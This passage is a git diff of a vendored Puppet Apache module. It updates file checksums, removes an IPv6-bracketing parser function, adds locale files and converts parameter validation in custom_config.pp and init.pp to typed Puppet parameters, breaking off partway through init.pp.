+ "manifests/mod/php.pp": "b6d383242b3c52a2543f8f477ff308a0",
"manifests/mod/prefork.pp": "3deff89f43a1f55dda643ac66e3fc4dc",
"manifests/mod/proxy.pp": "a65065f0c7705b7b75b1dd6fc2222e27",
"manifests/mod/proxy_ajp.pp": "073e2406aea7822750d4c21f02d8ac80",
- "manifests/mod/proxy_balancer.pp": "a13221d222df646e84910cabd2902dee",
+ "manifests/mod/proxy_balancer.pp": "c717e51517043084854b26c89d7b99d9",
"manifests/mod/proxy_connect.pp": "7cd9b4b61ec6feb020f753ee74910a48",
"manifests/mod/proxy_fcgi.pp": "8c7fd559419b159e27218a17463d850d",
- "manifests/mod/proxy_html.pp": "5ce01879add843832f756962dceec845",
+ "manifests/mod/proxy_html.pp": "aa012e927e20d3f7734fdc026491fd20",
"manifests/mod/proxy_http.pp": "0db1b26f8b4036b0d46ba86b7eaac561",
"manifests/mod/proxy_wstunnel.pp": "88ee88d6d56a70f0000e690f80f64acb",
"manifests/mod/python.pp": "6f65b22271cf356832fe7a1949163861",
@@ -104,53 +109,53 @@
"manifests/mod/reqtimeout.pp": "17b245b5d14f3f7b8c1d5fa07e5c159e",
"manifests/mod/rewrite.pp": "292f2d6ce2078fa9df7f686105ea7b95",
"manifests/mod/rpaf.pp": "54991f51a06e2b4171956e6ce1caf3a3",
- "manifests/mod/security.pp": "eaae214a25fcfa9fc9e4db4d2b88a37d",
+ "manifests/mod/security.pp": "b5ed320cbcce30b79557dd38941d339b",
"manifests/mod/setenvif.pp": "fa3b3e5f3a7e029f9db5b66ae499c6c8",
"manifests/mod/shib.pp": "8b75f8818fe9dc5728a478fc27962447",
"manifests/mod/socache_shmcb.pp": "c94ae23ab8cce744acad2f7e33dbfa9c",
"manifests/mod/speling.pp": "b6971e10caf22837e410b94910b66b1a",
- "manifests/mod/ssl.pp": "a6c6ed342ef96db622671ed99ae0fe0d",
- "manifests/mod/status.pp": "2e54208b8e669a7768b8bc4c2ca216a1",
+ "manifests/mod/ssl.pp": "ed4255fa17a174ce02fd8eef399c0ae1",
+ "manifests/mod/status.pp": "75d19ef4dde3529359d080c6607926f0",
"manifests/mod/suexec.pp": "2a8671856a0ece597e9b57867dc35e76",
"manifests/mod/suphp.pp": "5a7390ef0a0ceaa2d7e684bcb6300587",
- "manifests/mod/userdir.pp": "bb20504fc72d66b8cf80bb270db7bb66",
+ "manifests/mod/userdir.pp": "8cce2ae6536eab6b809c63cb6ed59c55",
"manifests/mod/version.pp": "6cb31057ebffa796f95642cc95f9499d",
"manifests/mod/vhost_alias.pp": "ee1225a748daaf50aca39a6d93fb8470",
"manifests/mod/worker.pp": "41137580c48b89f2795c1295d87962c0",
- "manifests/mod/wsgi.pp": "186a34169367a2e64af4faf3036e3af3",
+ "manifests/mod/wsgi.pp": "adcaac9e490512a58d0e6070904c85d2",
"manifests/mod/xsendfile.pp": "fba06f05a19c466654aca5ecaa705bf0",
- "manifests/mod.pp": "0986292ef7477c30f6d07209f0591bdf",
+ "manifests/mod.pp": "405f340daea9c50913904818ca4041d7",
"manifests/mpm.pp": "d4bfe77df34110cb253557104b2e6310",
"manifests/namevirtualhost.pp": "5ad54a441ff26a55cc536069d8fad238",
"manifests/package.pp": "ebd1e1e815ef744ebd4e9d8a6c94a07a",
- "manifests/params.pp": "42d971519adb39970cf87f33180b1f5d",
+ "manifests/params.pp": "605e33b78b4eb131ac9e9bad335ce88f",
"manifests/peruser/multiplexer.pp": "0ea75341b7a93e55bcfb431a93b1a6c9",
"manifests/peruser/processor.pp": "62f0ad5ed2ec36dadc7f40ad2a9e1bb9",
"manifests/php.pp": "9c9d07e12bf5d112b0b54f5bd69046fc",
"manifests/proxy.pp": "7c8515b88406922e148322ee15044b29",
"manifests/python.pp": "ddef4cd73850fdc2dc126d4579c30adf",
"manifests/security/rule_link.pp": "9c879ecfd7534347ccc8cf3ea77fa859",
- "manifests/service.pp": "8e51ebf5af2e943030aec043face1bac",
+ "manifests/service.pp": "9984fd2cfd49cea0b8db61f7cc3c1c4b",
"manifests/ssl.pp": "173f3d6a7fd2b5f4100c4ff03d84e13b",
"manifests/version.pp": "3388b1978b04cba63ed7fc8e2ec3f692",
"manifests/vhost/custom.pp": "421081f6c4f33e1aca07ff789e53345e",
- "manifests/vhost.pp": "da0c608533e3010de53a42a09748c633",
+ "manifests/vhost.pp": "707b86ad96804fed2413ef6366ac43b4",
"manifests/vhosts.pp": "d5cd9e6b701b7b2948c011546bc55497",
- "metadata.json": "0090c6941acc9416730e7a48d0f6b231",
- "spec/acceptance/apache_parameters_spec.rb": "5b95e67d474cc8a132c45f6e91714037",
+ "metadata.json": "f9025597336b7ffb8631e1c5949985ae",
+ "spec/acceptance/apache_parameters_spec.rb": "d8d8f53c76a65558f189a33ef063976a",
"spec/acceptance/apache_ssl_spec.rb": "9cddf1b1b3a4ed2fe971fabe8785e9ed",
"spec/acceptance/class_spec.rb": "9d77ee23b734dd48ecea4353dee3d616",
"spec/acceptance/custom_config_spec.rb": "61e03d814d0671d194dd40e6b1ad5c9b",
- "spec/acceptance/default_mods_spec.rb": "5d2bf768511d2fb34bd7057801d0fc4e",
+ "spec/acceptance/default_mods_spec.rb": "2481bfa99dd34e15f2b4c7eed194635f",
"spec/acceptance/itk_spec.rb": "812c855013c08ebb13e642dc5199b41a",
"spec/acceptance/mod_dav_svn_spec.rb": "e792a6d585026dd7bded38e62c8786f6",
"spec/acceptance/mod_deflate_spec.rb": "dd39bfb069e0233bf134caaeb1dc6fe6",
"spec/acceptance/mod_fcgid_spec.rb": "ef0e3368ea14247c05ff43217b5856ee",
"spec/acceptance/mod_mime_spec.rb": "0869792d98c1b2577f02d97c92f1765e",
"spec/acceptance/mod_negotiation_spec.rb": "017f6b0cc1496c25aa9b8a33ef8dbbb3",
- "spec/acceptance/mod_pagespeed_spec.rb": "7d7732a41eae79bd6b816bb1e165a530",
+ "spec/acceptance/mod_pagespeed_spec.rb": "23256a41b700fc92a96edf34a16be499",
"spec/acceptance/mod_passenger_spec.rb": "a66264ef73ad6c5396a06ab9b5444c7c",
- "spec/acceptance/mod_php_spec.rb": "81218711d2e27b24e36a99eab74ccf19",
+ "spec/acceptance/mod_php_spec.rb": "98bc1ff97a36de86d5a1b800b2afd7a6",
"spec/acceptance/mod_proxy_html_spec.rb": "34478fc2f12a23cd5a95d424f85da150",
"spec/acceptance/mod_security_spec.rb": "c783d44cf3ccba2fa6a3c14de0e486a0",
"spec/acceptance/mod_suphp_spec.rb": "f5c1f21e4c5323b81afc354c82e7ceb9",
@@ -164,16 +169,17 @@
"spec/acceptance/prefork_worker_spec.rb": "1570eefe61d667a1b43824adc0b2bb78",
"spec/acceptance/service_spec.rb": "341f157cb33fa48d5166d2274ad3bc65",
"spec/acceptance/version.rb": "6a1f2db3e369f3dc2b5bd76f4921891a",
- "spec/acceptance/vhost_spec.rb": "69a14b4e593fa9ecfdccda1ab23b453a",
+ "spec/acceptance/vhost_spec.rb": "ac0e99a6dfbe8faa2837bf2356fdda7d",
"spec/acceptance/vhosts_spec.rb": "c9635037681d569a053da6eb7ae5f4f4",
- "spec/classes/apache_spec.rb": "fe0d844ef6cb3bad10e2d935ea16e737",
+ "spec/classes/apache_spec.rb": "c75f9bf2fedf99c4d478536d3786223c",
"spec/classes/dev_spec.rb": "6bc9ff7cffb77aac52c5bd3acc157d2d",
"spec/classes/mod/alias_spec.rb": "e62706d9925b0dc1821db78d01986a7e",
"spec/classes/mod/auth_cas_spec.rb": "46a7ba3fe31d3fc6175b8dce5105326e",
- "spec/classes/mod/auth_kerb_spec.rb": "a32949cf0f8f93786b58589b102b1fe0",
+ "spec/classes/mod/auth_kerb_spec.rb": "d281ff13b8989d759bd7fcdb599a882a",
"spec/classes/mod/auth_mellon_spec.rb": "81d3ea4b7567718ca810b625fd36d231",
"spec/classes/mod/authn_dbd_spec.rb": "8c794faaa5244e16f432c76679cb12d7",
"spec/classes/mod/authnz_ldap_spec.rb": "bef6980f85489c5fd7388511cb65b644",
+ "spec/classes/mod/authnz_pam_spec.rb": "71759e9ab2dd8aeefeb4d79e3349e67e",
"spec/classes/mod/cluster_spec.rb": "c1d01cc4a4f9ce10d692294019791e2f",
"spec/classes/mod/dav_svn_spec.rb": "6b3c4123a067e249f6c78c5b0cbcbcc7",
"spec/classes/mod/deflate_spec.rb": "adf6e41357fefe4ff1128e8fea4d3057",
@@ -187,13 +193,15 @@
"spec/classes/mod/fastcgi_spec.rb": "59f7ea857b0fa614e8808270c529300f",
"spec/classes/mod/fcgid_spec.rb": "bda06cc347a8da8d7c7374add2654248",
"spec/classes/mod/info_spec.rb": "d51c6a9e6ae4d944488a43c8c15b95c0",
+ "spec/classes/mod/intercept_form_submit_spec.rb": "2e7087360a57f6ccf88b80239ca5056e",
"spec/classes/mod/itk_spec.rb": "622f23a1346383846cbc98e38388034d",
"spec/classes/mod/ldap_spec.rb": "12863d495558fbe9f6cb7a50ab37688c",
+ "spec/classes/mod/lookup_identity.rb": "97997c0a2e7a1b717426b5845df604ee",
"spec/classes/mod/mime_magic_spec.rb": "259304a80e92e4ba15e7cd719fe25c17",
"spec/classes/mod/mime_spec.rb": "d946fb96659b67bf7117ad7ed4b25cce",
"spec/classes/mod/negotiation_spec.rb": "44d50f7e6ef8c6388baa4c7cfc07be43",
"spec/classes/mod/pagespeed_spec.rb": "56bd7d82920cb734ea8139c9fed97de7",
- "spec/classes/mod/passenger_spec.rb": "a7cb67b8f93b462dc9a1bf29ad7f2436",
+ "spec/classes/mod/passenger_spec.rb": "e8daaeafddd8b8ac33800c04a93b5c03",
"spec/classes/mod/perl_spec.rb": "1daa227f563ac19ff8dcdea0d0005ec4",
"spec/classes/mod/peruser_spec.rb": "c379ce85a997789856b12c27957bf994",
"spec/classes/mod/php_spec.rb": "2cc1a1d5d097be26eef3139b4e8eafaf",
@@ -206,48 +214,49 @@
"spec/classes/mod/remoteip_spec.rb": "f9bf0bc64fef6d570f7b798ceef0d598",
"spec/classes/mod/reqtimeout_spec.rb": "2af2919e8253100fbc2e001d30a5cd15",
"spec/classes/mod/rpaf_spec.rb": "5c4725a4bcab9339d7309765390aaed1",
- "spec/classes/mod/security_spec.rb": "adabc64a0a847c9f448c3282a4de1b94",
+ "spec/classes/mod/security_spec.rb": "f2e41f16ff5e8aa8f4709cab68a7cf5e",
"spec/classes/mod/shib_spec.rb": "b4ec345e387f8d7186048f5d286bb71d",
"spec/classes/mod/speling_spec.rb": "96919b9fbd1e894fcfd649044c3dafb5",
- "spec/classes/mod/ssl_spec.rb": "54219eac9b409a833a57ecfdce66a196",
+ "spec/classes/mod/ssl_spec.rb": "9c9fe05b815405d4e7fbb095e01d7d2a",
"spec/classes/mod/status_spec.rb": "1eeaf906baf6ca82bf24c4e23494c71c",
"spec/classes/mod/suphp_spec.rb": "cc7c02c42e985aa133f9d868e14d9435",
+ "spec/classes/mod/userdir_spec.rb": "648ab42ba4113b31712ecf8d9ec485e0",
"spec/classes/mod/worker_spec.rb": "c326e36fbcfe9f0c59dc1db389a33926",
- "spec/classes/mod/wsgi_spec.rb": "5c76026d8f08ac7d17d7b34f089979a3",
+ "spec/classes/mod/wsgi_spec.rb": "902251d74d6d3c821f460b620158295b",
"spec/classes/params_spec.rb": "adbd9f0dee677ea9439b9ce0d620894f",
- "spec/classes/service_spec.rb": "d23f6cd3eac018e368e0ba32cbf95f11",
+ "spec/classes/service_spec.rb": "0709833b94c1a3fbd13b73042fa84967",
"spec/classes/vhosts_spec.rb": "9baf23eb534e944a1bd593e72dd3050e",
"spec/defines/balancer_spec.rb": "8793815eb22b5190977b154fcd97e85e",
"spec/defines/balancermember_spec.rb": "e93ded8b51cc1d73e52f453880b3576e",
- "spec/defines/custom_config_spec.rb": "a7e3392933cabc8ed6bb57deaebb36d9",
+ "spec/defines/custom_config_spec.rb": "cd4ee6803b79a844442107ac385cc833",
"spec/defines/fastcgi_server_spec.rb": "8e167c1525cb9a7473efdde01efe0ca3",
"spec/defines/mod_spec.rb": "a10e5b2570419737c03cd0f6347cc985",
"spec/defines/modsec_link_spec.rb": "3421b21f8234637dd1c32ebcf89e44c3",
"spec/defines/vhost_custom_spec.rb": "d5596a7a0c239d4c0ed8bebbb6a124ab",
- "spec/defines/vhost_spec.rb": "b9fc940b93fa4bde6e6d1ce1ef91d234",
+ "spec/defines/vhost_spec.rb": "b338a9fe8d5bd1f2002025905c2c4a74",
"spec/fixtures/files/negotiation.conf": "9c11872e26327ec880749b5dfdea25d6",
"spec/fixtures/files/spec": "e964ecac35c35baa9b4c57dac4ff5b3e",
+ "spec/fixtures/site_apache/templates/fake.conf.erb": "6b0431dd0b9a0bf803eb0684300c2cff",
"spec/fixtures/templates/negotiation.conf.erb": "c838e612ce6f82a5efd12871ad562011",
"spec/spec_helper.rb": "b2db3bc02b4ac2fd5142a6621c641b07",
- "spec/spec_helper_acceptance.rb": "bd3dc8d42f3774c2c5cea26df7488b07",
+ "spec/spec_helper_acceptance.rb": "97b5d5677a368ac97cdc3ae2ab5e204f",
"spec/spec_helper_local.rb": "1b6ccd9b2f6946b81560239881774e94",
"spec/unit/apache_version_spec.rb": "c9d7b8ab46fb21d370702f02088281a2",
"spec/unit/provider/a2mod/gentoo_spec.rb": "02f7510cbf4945c5e1094ebcb967c8e0",
"spec/unit/puppet/parser/functions/bool2httpd_spec.rb": "0c9bca53eb43b5fc888126514b2a174c",
- "spec/unit/puppet/parser/functions/enclose_ipv6_spec.rb": "0145a78254ea716e5e7600d9464318a8",
"spec/unit/puppet/parser/functions/validate_apache_log_level.rb": "8f558fd81d1655e9ab20896152eca512",
"templates/confd/no-accf.conf.erb": "a614f28c4b54370e4fa88403dfe93eb0",
"templates/fastcgi/server.erb": "30cdd04393bdb4f68678d00e2930721b",
- "templates/httpd.conf.erb": "5a8eacfe858789a1e2059cd0452b6b01",
+ "templates/httpd.conf.erb": "3667dc46bedcfd2b79f82570b1063623",
"templates/listen.erb": "6286aa08f9e28caee54b1e1ee031b9d6",
"templates/mod/alias.conf.erb": "370e9d394dd462d3ebc0dd345ab68f6f",
"templates/mod/auth_cas.conf.erb": "35e1291a5fa05067d7623c02bafb0ada",
"templates/mod/auth_mellon.conf.erb": "4e17d22a8f1bc312e976e8513199c945",
"templates/mod/authn_dbd.conf.erb": "7a84f5d3b3a4b92a88fe052b13376f8e",
- "templates/mod/authnz_ldap.conf.erb": "d648a09c5625a7da5715f03526f2fefd",
+ "templates/mod/authnz_ldap.conf.erb": "2262e6d90ae81f2b732bbf0163006c59",
"templates/mod/autoindex.conf.erb": "2421a3c6df32c7e38c2a7a22afdf5728",
"templates/mod/cgid.conf.erb": "f8ce27d60bc495bab16de2696ebb2fd0",
- "templates/mod/cluster.conf.erb": "1b12d0b30352527474986eba1973b9b1",
+ "templates/mod/cluster.conf.erb": "9e92178f1d45193868e41e7fe1a06976",
"templates/mod/dav_fs.conf.erb": "10c1131168e35319e22b3fbfe51aebfd",
"templates/mod/deflate.conf.erb": "e866ecf2bfe8e42ea984267f569723db",
"templates/mod/dir.conf.erb": "2485da78a2506c14bf51dde38dd03360",
@@ -275,19 +284,19 @@
"templates/mod/prefork.conf.erb": "f9ec5a7eaea78a19b04fa69f8acd8a84",
"templates/mod/proxy.conf.erb": "33a6a57edd324ba56e879a7b077ecf08",
"templates/mod/proxy_balancer.conf.erb": "a9f8d51a2a7169e5fd0c8415a3f9c662",
- "templates/mod/proxy_html.conf.erb": "69c9ce9b7f24e1337065f1ce26b057a0",
+ "templates/mod/proxy_html.conf.erb": "1236e21e77bcc077dd71dbef98c911c7",
"templates/mod/remoteip.conf.erb": "ad58e174410e3ff46ff93d4ad1e7b8a0",
"templates/mod/reqtimeout.conf.erb": "314ef068b786ae5afded290a8b6eab15",
"templates/mod/rpaf.conf.erb": "5447539c083ae54f3a9e93c1ac8c988b",
"templates/mod/security.conf.erb": "e309716298ed8709df5496c27d47fe36",
"templates/mod/security_crs.conf.erb": "5c7bc134c0675d75b66a5c8faaf11eb6",
"templates/mod/setenvif.conf.erb": "c7ede4173da1915b7ec088201f030c28",
- "templates/mod/ssl.conf.erb": "6f9557964b967bb6715d1f19f266367a",
+ "templates/mod/ssl.conf.erb": "f88b0d03bbbc9b0773475434a2ef0f93",
"templates/mod/status.conf.erb": "574ecc6f74e8b75d84710a44c4260210",
"templates/mod/suphp.conf.erb": "05bb7b3ea23976b032ce405bfd4edd18",
- "templates/mod/userdir.conf.erb": "b555d16697b030d34ad18d41d4084c4c",
+ "templates/mod/userdir.conf.erb": "5d0185dc69bc30849bc1a2f63f652b74",
"templates/mod/worker.conf.erb": "dc4c7049af7312f5e82b3e72e8fccdfd",
- "templates/mod/wsgi.conf.erb": "9a416fa3b71be0795679069809686300",
+ "templates/mod/wsgi.conf.erb": "ba2ba5a5699889626f4bc7f5604070b0",
"templates/namevirtualhost.erb": "fbfca19a639e18e6c477e191344ac8ae",
"templates/ports_header.erb": "afe35cb5747574b700ebaa0f0b3a626e",
"templates/vhost/_access_log.erb": "522414033856b19a50a7ebb1c729438a",
@@ -300,7 +309,7 @@
"templates/vhost/_block.erb": "8fa2f970222dbc0a38898b5a0ab80411",
"templates/vhost/_charsets.erb": "d152b6a7815e9edc0fe9bf9acbe2f1ec",
"templates/vhost/_custom_fragment.erb": "325ff48cefc06db035daa3491c391a88",
- "templates/vhost/_directories.erb": "f981420e239cc4a615ccb9a7852b37f4",
+ "templates/vhost/_directories.erb": "cb400adc888ef3632e155b700c2117aa",
"templates/vhost/_docroot.erb": "65d882a3c9d6b6bdd2f9b771f378035a",
"templates/vhost/_error_document.erb": "81d3007c1301a5c5f244c082cfee9de2",
"templates/vhost/_fallbackresource.erb": "e6c103bee7f6f76b10f244fc9fd1cd3b",
@@ -309,11 +318,12 @@
"templates/vhost/_file_header.erb": "7c3c04eb4ac67403604113e2628696cf",
"templates/vhost/_filters.erb": "597b9de5ae210af9182a1c95172115e7",
"templates/vhost/_header.erb": "9eb9d4075f288183d8224ddec5b2f126",
+ "templates/vhost/_http_protocol_options.erb": "9df9dec592fdb8fb4ab4abf7227cef9c",
"templates/vhost/_itk.erb": "8bf90b9855a9277f7a665b10f6c57fe9",
"templates/vhost/_jk_mounts.erb": "ce997ee7b5602af04062cd5f785da345",
"templates/vhost/_keepalive_options.erb": "16876858bac1e55b13545866b0428d90",
"templates/vhost/_logging.erb": "5bc4cbb1bc8a292acc0ba0420f96ca4e",
- "templates/vhost/_passenger.erb": "54089ef42f49bf8285d2d5ccdcba0699",
+ "templates/vhost/_passenger.erb": "2c720e3c849f81898be5f3822a3f67be",
"templates/vhost/_passenger_base_uris.erb": "c8d7f4da1434078e856c72671942dcd8",
"templates/vhost/_php.erb": "a16a9f3e146ce463481205e083d4bf79",
"templates/vhost/_php_admin.erb": "107a57e9e7b3f86d1abcf743f672a292",
@@ -321,7 +331,7 @@
"templates/vhost/_rack.erb": "ebe187c1bdc81eec9c8e0d9026120b18",
"templates/vhost/_redirect.erb": "2d40ece74203cc00b861a058db91962c",
"templates/vhost/_requestheader.erb": "db1b0cdda069ae809b5b83b0871ef991",
- "templates/vhost/_require.erb": "8a90d4c632b65ae1d89c66220f73ee80",
+ "templates/vhost/_require.erb": "932106f2c9ea604bba4ace78d22bdfee",
"templates/vhost/_rewrite.erb": "b7858eac95352744196006b57d4091df",
"templates/vhost/_scriptalias.erb": "98713f33cca15b22c749bd35ea9a7b41",
"templates/vhost/_security.erb": "0ade536a9d25342e7128996add04be56",
@@ -329,8 +339,8 @@
"templates/vhost/_serversignature.erb": "9bf5a458783ab459e5043e1cdf671fa7",
"templates/vhost/_setenv.erb": "6e6a7efb1b168da9673c9e6d00eadec5",
"templates/vhost/_ssl.erb": "788b293b65736aead0007fe3bc52448b",
- "templates/vhost/_sslproxy.erb": "c327d73e1669bde19a64e53109d4b57e",
+ "templates/vhost/_sslproxy.erb": "8ab477ac3aa325e46f07b3fbf188303f",
"templates/vhost/_suexec.erb": "f2b3f9b9ff8fbac4e468e02cd824675a",
"templates/vhost/_suphp.erb": "a1c4a5e4461adbfce870df0abd158b59",
- "templates/vhost/_wsgi.erb": "8ae86dff3014767479a71441b0e6536e"
+ "templates/vhost/_wsgi.erb": "7939532279d7655896ce1a5942116ca7"
}
\ No newline at end of file
diff --git a/modules/services/unix/http/apache/examples/vhost.pp b/modules/services/unix/http/apache/examples/vhost.pp
index 28edf25cf..440a56d4b 100644
--- a/modules/services/unix/http/apache/examples/vhost.pp
+++ b/modules/services/unix/http/apache/examples/vhost.pp
@@ -165,7 +165,7 @@ apache::vhost { 'sixteenth.example.com non-ssl':
{ comment => 'Rewrite to lower case',
rewrite_cond => ['%{REQUEST_URI} [A-Z]'],
rewrite_map => ['lc int:tolower'],
- rewrite_rule => ['(.*) ${lc:$1} [R=301,L]'],
+ rewrite_rule => ["(.*) \${lc:\$1} [R=301,L]"],
}
],
}
diff --git a/modules/services/unix/http/apache/lib/puppet/parser/functions/enclose_ipv6.rb b/modules/services/unix/http/apache/lib/puppet/parser/functions/enclose_ipv6.rb
deleted file mode 100644
index 80ffc3aca..000000000
--- a/modules/services/unix/http/apache/lib/puppet/parser/functions/enclose_ipv6.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-#
-# enclose_ipv6.rb
-#
-
-module Puppet::Parser::Functions
- newfunction(:enclose_ipv6, :type => :rvalue, :doc => <<-EOS
-Takes an array of ip addresses and encloses the ipv6 addresses with square brackets.
- EOS
- ) do |arguments|
-
- require 'ipaddr'
-
- rescuable_exceptions = [ ArgumentError ]
- if defined?(IPAddr::InvalidAddressError)
- rescuable_exceptions << IPAddr::InvalidAddressError
- end
-
- if (arguments.size != 1) then
- raise(Puppet::ParseError, "enclose_ipv6(): Wrong number of arguments "+
- "given #{arguments.size} for 1")
- end
- unless arguments[0].is_a?(String) or arguments[0].is_a?(Array) then
- raise(Puppet::ParseError, "enclose_ipv6(): Wrong argument type "+
- "given #{arguments[0].class} expected String or Array")
- end
-
- input = [arguments[0]].flatten.compact
- result = []
-
- input.each do |val|
- unless val == '*'
- begin
- ip = IPAddr.new(val)
- rescue *rescuable_exceptions
- raise(Puppet::ParseError, "enclose_ipv6(): Wrong argument "+
- "given #{val} is not an ip address.")
- end
- val = "[#{ip.to_s}]" if ip.ipv6?
- end
- result << val
- end
-
- return result.uniq
- end
-end
diff --git a/modules/services/unix/http/apache/locales/config.yaml b/modules/services/unix/http/apache/locales/config.yaml
new file mode 100644
index 000000000..0ec10ba97
--- /dev/null
+++ b/modules/services/unix/http/apache/locales/config.yaml
@@ -0,0 +1,25 @@
+---
+# This is the project-specific configuration file for setting up
+# fast_gettext for your project.
+gettext:
+ # This is used for the name of the .pot and .po files; they will be
+ # called .pot?
+ project_name: puppetlabs-apache
+ # This is used in comments in the .pot and .po files to indicate what
+ # project the files belong to and should bea little more desctiptive than
+ #
+ package_name: puppetlabs-apache
+ # The locale that the default messages in the .pot file are in
+ default_locale: en
+ # The email used for sending bug reports.
+ bugs_address: docs@puppet.com
+ # The holder of the copyright.
+ copyright_holder: Puppet, Inc.
+ # This determines which comments in code should be eligible for translation.
+ # Any comments that start with this string will be externalized. (Leave
+ # empty to include all.)
+ comments_tag: TRANSLATOR
+ # Patterns for +Dir.glob+ used to find all files that might contain
+ # translatable content, relative to the project root directory
+ source_files:
+
diff --git a/modules/services/unix/http/apache/locales/puppetlabs-apache.pot b/modules/services/unix/http/apache/locales/puppetlabs-apache.pot
new file mode 100644
index 000000000..7602dd885
--- /dev/null
+++ b/modules/services/unix/http/apache/locales/puppetlabs-apache.pot
@@ -0,0 +1,25 @@
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2017-03-21 14:19+0100\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME \n"
+"Language-Team: LANGUAGE \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: Translate Toolkit 2.0.0\n"
+
+#. metadata.json
+#: .summary
+msgid ""
+"Installs, configures, and manages Apache virtual hosts, web services, and "
+"modules."
+msgstr ""
+
+#. metadata.json
+#: .description
+msgid "Module for Apache configuration"
+msgstr ""
diff --git a/modules/services/unix/http/apache/manifests/custom_config.pp b/modules/services/unix/http/apache/manifests/custom_config.pp
index 188f3ba82..6bffa05c7 100644
--- a/modules/services/unix/http/apache/manifests/custom_config.pp
+++ b/modules/services/unix/http/apache/manifests/custom_config.pp
@@ -1,13 +1,13 @@
# See README.md for usage information
define apache::custom_config (
- $ensure = 'present',
- $confdir = $::apache::confd_dir,
- $content = undef,
- $priority = '25',
- $source = undef,
- $verify_command = $::apache::params::verify_command,
- $verify_config = true,
- $filename = undef,
+ Enum['absent', 'present'] $ensure = 'present',
+ $confdir = $::apache::confd_dir,
+ $content = undef,
+ $priority = '25',
+ $source = undef,
+ $verify_command = $::apache::params::verify_command,
+ Boolean $verify_config = true,
+ $filename = undef,
) {
if $content and $source {
@@ -18,12 +18,6 @@ define apache::custom_config (
fail('One of $content and $source must be specified.')
}
- validate_re($ensure, '^(present|absent)$',
- "${ensure} is not supported for ensure.
- Allowed values are 'present' and 'absent'.")
-
- validate_bool($verify_config)
-
if $filename {
$_filename = $filename
} else {
diff --git a/modules/services/unix/http/apache/manifests/init.pp b/modules/services/unix/http/apache/manifests/init.pp
old mode 100644
new mode 100755
index f22da13ed..516c966ad
--- a/modules/services/unix/http/apache/manifests/init.pp
+++ b/modules/services/unix/http/apache/manifests/init.pp
@@ -13,101 +13,108 @@
# Sample Usage:
#
class apache (
- $apache_name = $::apache::params::apache_name,
- $service_name = $::apache::params::service_name,
- $default_mods = true,
- $default_vhost = true,
- $default_charset = undef,
- $default_confd_files = true,
- $default_ssl_vhost = false,
- $default_ssl_cert = $::apache::params::default_ssl_cert,
- $default_ssl_key = $::apache::params::default_ssl_key,
- $default_ssl_chain = undef,
- $default_ssl_ca = undef,
- $default_ssl_crl_path = undef,
- $default_ssl_crl = undef,
- $default_ssl_crl_check = undef,
- $default_type = 'none',
- $dev_packages = $::apache::params::dev_packages,
- $ip = undef,
- $service_enable = true,
- $service_manage = true,
- $service_ensure = 'running',
- $service_restart = undef,
- $purge_configs = false,
- $purge_vhost_dir = undef,
- $purge_vdir = false,
- $serveradmin = 'root@localhost',
- $sendfile = 'On',
- $error_documents = false,
- $timeout = '120',
- $httpd_dir = $::apache::params::httpd_dir,
- $server_root = $::apache::params::server_root,
- $conf_dir = $::apache::params::conf_dir,
- $confd_dir = $::apache::params::confd_dir,
- $vhost_dir = $::apache::params::vhost_dir,
- $vhost_enable_dir = $::apache::params::vhost_enable_dir,
- $vhost_include_pattern = $::apache::params::vhost_include_pattern,
- $mod_dir = $::apache::params::mod_dir,
- $mod_enable_dir = $::apache::params::mod_enable_dir,
- $mpm_module = $::apache::params::mpm_module,
- $lib_path = $::apache::params::lib_path,
- $conf_template = $::apache::params::conf_template,
- $servername = $::apache::params::servername,
- $pidfile = $::apache::params::pidfile,
- $rewrite_lock = undef,
- $manage_user = true,
- $manage_group = true,
- $user = $::apache::params::user,
- $group = $::apache::params::group,
- $keepalive = $::apache::params::keepalive,
- $keepalive_timeout = $::apache::params::keepalive_timeout,
- $max_keepalive_requests = $::apache::params::max_keepalive_requests,
- $limitreqfieldsize = '8190',
- $logroot = $::apache::params::logroot,
- $logroot_mode = $::apache::params::logroot_mode,
- $log_level = $::apache::params::log_level,
- $log_formats = {},
- $ssl_file = $::apache::params::ssl_file,
- $ports_file = $::apache::params::ports_file,
- $docroot = $::apache::params::docroot,
- $apache_version = $::apache::version::default,
- $server_tokens = 'OS',
- $server_signature = 'On',
- $trace_enable = 'On',
- $allow_encoded_slashes = undef,
- $package_ensure = 'installed',
- $use_optional_includes = $::apache::params::use_optional_includes,
- $use_systemd = $::apache::params::use_systemd,
- $mime_types_additional = $::apache::params::mime_types_additional,
- $file_mode = $::apache::params::file_mode,
- $root_directory_options = $::apache::params::root_directory_options,
- $root_directory_secured = false,
- $error_log = $::apache::params::error_log,
- $scriptalias = $::apache::params::scriptalias,
- $access_log_file = $::apache::params::access_log_file,
- $overwrite_ports = true,
+ $apache_name = $::apache::params::apache_name,
+ $service_name = $::apache::params::service_name,
+ $default_mods = true,
+ Boolean $default_vhost = true,
+ $default_charset = undef,
+ Boolean $default_confd_files = true,
+ Boolean $default_ssl_vhost = false,
+ $default_ssl_cert = $::apache::params::default_ssl_cert,
+ $default_ssl_key = $::apache::params::default_ssl_key,
+ $default_ssl_chain = undef,
+ $default_ssl_ca = undef,
+ $default_ssl_crl_path = undef,
+ $default_ssl_crl = undef,
+ $default_ssl_crl_check = undef,
+ $default_type = 'none',
+ $dev_packages = $::apache::params::dev_packages,
+ $ip = undef,
+ Boolean $service_enable = true,
+ Boolean $service_manage = true,
+ $service_ensure = 'running',
+ $service_restart = undef,
+ $purge_configs = true,
+ $purge_vhost_dir = undef,
+ $purge_vdir = false,
+ $serveradmin = 'root@localhost',
+ $sendfile = 'On',
+ $error_documents = false,
+ $timeout = '120',
+ $httpd_dir = $::apache::params::httpd_dir,
+ $server_root = $::apache::params::server_root,
+ $conf_dir = $::apache::params::conf_dir,
+ $confd_dir = $::apache::params::confd_dir,
+ $vhost_dir = $::apache::params::vhost_dir,
+ $vhost_enable_dir = $::apache::params::vhost_enable_dir,
+ $mod_packages = $::apache::params::mod_packages,
+ $vhost_include_pattern = $::apache::params::vhost_include_pattern,
+ $mod_dir = $::apache::params::mod_dir,
+ $mod_enable_dir = $::apache::params::mod_enable_dir,
